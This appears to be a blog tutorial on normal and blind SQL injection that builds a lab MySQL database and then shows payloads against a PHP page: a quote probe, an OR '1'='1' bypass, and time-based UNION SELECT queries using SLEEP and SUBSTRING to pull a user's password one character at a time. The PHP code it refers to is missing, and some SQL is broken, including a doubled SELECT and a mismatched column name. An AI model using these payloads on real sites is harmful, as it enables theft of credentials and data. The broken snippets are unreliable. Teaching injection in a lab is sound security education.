SQL Injection VS Blind SQL Injection

So far you learn how to trigger a SQL error sending some SQL code from the client(Browser) to the server, however, sometimes the web application doesn’t show any error message from the database but doesn’t mean the code is not vulnerable, and this is why you’ve to pay attention to the detail.

A normal SQL injection is closely similar to a Blind SQL Injection, the only difference is that blind injection will not display any error message from the database server warning you that your SQL Query syntax is not correct, plus you’ve to ask true or false questions and watching the responses, in the other hand a normal SQL Injection will show a generic error message making exploiting the vulnerability less difficult.

Environment Setup

You’ll set up an environment to test both cases, so our examples will be executed on a database including two relational tables users and cars using a cardinality One-to-many(1:n) when a car can have multiple users.


And to insert some data, you’ve to create a database and run this query on your mysql server:

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";

--
-- Database: `SQL-Injection`
--

-- --------------------------------------------------------

--
-- Table structure for table `cars`
--

CREATE TABLE `cars` (
  `id` int(11) NOT NULL,
  `user_id` int(100) DEFAULT NULL,
  `car_name` varchar(100) NOT NULL,
  `car_model` varchar(100) NOT NULL,
  `car_model_year` varchar(100) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

--
-- Dumping data for table `cars`
--

INSERT INTO `cars` (`id`, `user`, `car_name`, `car_model`, `car_model_year`) VALUES
(1, 1, 'Volvo', 'XC90', '2003'),
(2, 2, 'BMW', 'M', '2001'),
(3, 3, 'Jeep', 'Liberty', '2003'),
(4, 4, 'Ford', 'E-Series', '1991'),
(5, 5, 'GMC', 'Savana 3500', '2012'),
(6, 6, 'Chevrolet', 'Impala', '2009'),
(7, 7, 'Mercury', 'Mystique', '1998'),
(8, 8, 'Plymouth', 'Colt', '1992'),
(9, 9, 'Nissan', '370Z', '2009'),
(10, 10, 'Subaru', 'Forester', '2001'),
(11, 1, 'Suzuki', 'Swift', '1987'),
(12, 2, 'GMC', '2500', '1994'),
(13, 3, 'Volkswagen', 'Passat', '1991'),
(14, 4, 'Eagle', 'Summit', '1993'),
(15, 5, 'Ferrari', '430 Scuderia', '2009'),
(16, 6, 'Ford', 'F-Series', '2004'),
(17, 7, 'Nissan', '350Z Roadster', '2006'),
(18, 8, 'Chevrolet', 'Aveo', '2005'),
(19, 9, 'Aston Martin', 'V8 Vantage S', '2012'),
(20, 10, 'Dodge', 'Ram Van 3500', '2000'),
(21, 1, 'Volvo', 'Silverado 1500', '2010'),
(22, 2, 'Ford', 'F350', '2011'),
(23, 3, 'GMC', '1500', '1995'),
(24, 4, 'Dodge', 'Stealth', '1993'),
(25, 5, 'Ford', 'F250', '2010'),
(26, 6, 'Mercury', 'Topaz', '1984'),
(27, 7, 'Dodge', 'Charger', '2006'),
(28, 8, 'Toyota', '4Runner', '2010'),
(29, 9, 'Ford', 'Escape', '2009'),
(30, 10, 'Jaguar', 'XF', '2012'),
(31, 1, 'Mazda', '323', '1994'),
(32, 2, 'Subaru', 'Forester', '1998'),
(33, 3, 'Audi', 'A5', '2012'),
(34, 4, 'Honda', 'Accord', '1993'),
(35, 5, 'Lincoln', 'MKX', '2011'),
(36, 6, 'GMC', '3500', '1996'),
(37, 7, 'Aston Martin', 'V12 Vantage', '2012'),
(38, 8, 'Subaru', 'Impreza', '2001'),
(39, 9, 'Ford', 'Probe', '1993'),
(40, 10, 'Mazda', 'B-Series Plus', '2004');

-- --------------------------------------------------------

--
-- Table structure for table `users`
--

CREATE TABLE `users` (
  `id` int(11) NOT NULL,
  `email` varchar(50) NOT NULL,
  `full_name` varchar(50) NOT NULL,
  `password` varchar(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

--
-- Dumping data for table `users`
--

INSERT INTO `users` (`id`, `email`, `full_name`, `password`) VALUES
(1, '[email protected]', 'Tiler Dessaur', '2GT00'),
(2, '[email protected]', 'Aviva Saylor', '5rz01'),
(3, '[email protected]', 'Sutherland Hasel', 'f7G39'),
(4, '[email protected]', 'Kevon Fotitt', '5ii95'),
(5, '[email protected]', 'Ibrahim Cuttle', 'g5T32'),
(6, '[email protected]', 'Sallyann Paunsford', '6kv01'),
(7, 'hhal[email protected]', 'Humbert Hallas', 'JCJ05'),
(8, '[email protected]', 'Barny Beresford', 'Jgc06'),
(9, '[email protected]', 'Mildrid Wloch', 'VIy65'),
(10, '[email protected]', 'Dory Padilla', '99h05');

--
-- Indexes for dumped tables
--

--
-- Indexes for table `cars`
--
ALTER TABLE `cars`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `users`
--
ALTER TABLE `users`
  ADD PRIMARY KEY (`id`);

Normal SQL Injection

The best case scenario of an attacker is getting warnings from the backend server, and this what define a normal SQL injection, let’s run through an example:

Let’s pretend that you access to an URLĀ http://www.example.com/user-cars.php?car_name=Volvo, which list all the cars with the model Volvo for a specific user (your user id), and this is how our query is formed after accessing the URL:

SELECT SELECT id, user_id, car_name, car_model, car_model_year FROM cars WHERE user_id = 1 AND car_name = 'Volvo'

And this is the PHP code for the user-cars.php page:

The attacker will find out from the URL http://www.example.com/user-cars.php?car_name=Volvo that the value of the URL parameter car_name will be sent to the query in question, and he’ll try to communicate with the backend server by adding a single quote ' to the query user-cars.php?car_name=Volvo' which will form a new query:

SELECT id, user_id, car_name, car_model, car_model_year FROM cars WHERE user_id = $userId AND car_name = 'Volvo''

And the result will be a warning noticing that the SQL query correct is not correct:

Error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Volvo''' at line 1

So far the attacker is now communicating with the backend server by sending nonvalidated strings and getting warnings, the attacker from now can alter the logic of the query by asking for some specific data.

As an example, if the attacker add anything' OR '1' = '1 to form a new url:
http://example.com/user-cars.php?car_name=anything’ OR ‘1’ = ‘1 which will form a new query:

SELECT id, user_id, car_name, car_model, car_model_year FROM cars WHERE user_id = 1 AND car_name = 'anything' OR '1' = '1'

The result will be getting all cars for all users because the query will always return true.

Blind SQL Injection

Now you’ve to make it a little bit complicated, so the backend server will show nothing for the attacker if he tries to play with the value of the parameter car_name.

You’ve just to remove this part from the user-cars.php:

else {
    die('

Error:' . mysql_error() . '

'); }

Which will silent your web app, and return nothing, even if the backend server returns an error.

Let’s do the same test by adding a single quote ' to the value of the parameter car_name:

http://example.com/blind-injection.php?car_name=Volvo’

Now you have nothing displayed as a warning, is the code in question is not vulnerable? HELL no, this is why you’ve to do some other tests before leaving this website alone.

Let’s asks the database true or false questions and see how the results will change, let’s start with a false operation OR '1' = '2 and change the car_name value to anything

http://example.com/blind-injection.php?car_name=anything’ OR ‘1’ = ‘2

The result still nothing, now let’s use a true operation OR '1' = '1:

http://example.com/blind-injection.php?car_name=anything’ OR ‘1’ = ‘1

Now you are getting all cars and the injection is working perfectly when the query return true.

Get the User Password

The attacker will assume that there is a table with the name users, and this is where the user id is coming from.

Let’s inject a more complicated query to find a specific password for a specific user, now you’ll have to use a Time-based blind SQL Injection type.

The concept of time-based injection relies on pausing for a specific amount of time then returning the result.

Let’s start with finding the existence of the id column on the users table for a user with the id 1, the attacker will check column names on each test, if the column name is correct the query will be paused for 5 seconds using SLEEP(5) otherwise the query will not pause and return instantly an answer.

This is what the URL will look like:

http://example.com/blind-injection.php?car_name=Volvo’ UNION
SELECT NULL, NULL, NULL, NULL, IF(id=’1′, SLEEP(5), null) FROM users WHERE id = ‘1

And this is how the query will be formed:

SELECT id, user_id, car_name, car_model, car_model_year
FROM cars WHERE user_id = 1 AND car_name = 'Volvo'
UNION
SELECT NULL, NULL, NULL, NULL, IF( id = '1', SLEEP(5), null)
FROM users WHERE id = '1'

Let’s describe each part of the injected query starting from UNION:

  • We use UNION to combine the result from multiple SELECT
  • The second SELECT will select a specific number of columns to avoid having different number of them
  • IF( id = '1', SLEEP(5), null) include the condition for checking the column in question id, if the condition is correct it’ll pause for 5 second otherwise it’ll return null
  • FROM users WHERE id = '1 is for checking on a user with the id 1

If this injection work perfectly, you’ll see a pause before getting the result, which presumes that id is the right column name you’re looking for.

Now that you have got the table name which it’s users, the column name which it’s id, let’s do the same test for the password column and its value:

http://example.com/blind-injection.php?car_name=Volvo’ UNION
SELECT NULL, NULL, NULL, NULL, IF(SUBSTRING(password, 1,1) = ‘2’, SLEEP(5), null) FROM users WHERE id = ‘1

Query:

SELECT id, user_id, car_name, car_model, car_model_year
FROM cars WHERE user_id = 1 AND car_name = 'Volvo'
UNION 
SELECT NULL, NULL, NULL, NULL, IF(SUBSTRING(password, 1,1) = '2', SLEEP(5), null)
FROM users WHERE id = '1'

The difference from the previous query, that you’re here checking if the first character SUBSTRING(password, 1,1) of the password value is equal to some specific value '2'.

You keep checking each part of the password and if the query pause writes down this character and go to the next position of the password, keep checking until the end of the length of the password.

Conclusion

That’s it, I hope that these simple examples gives you an idea about how to exploit a blind or a normal SQL Injection, and don’t forget to do as many tests as you can to understand the matter very well.

Leave a Reply

Your email address will not be published. Required fields are marked *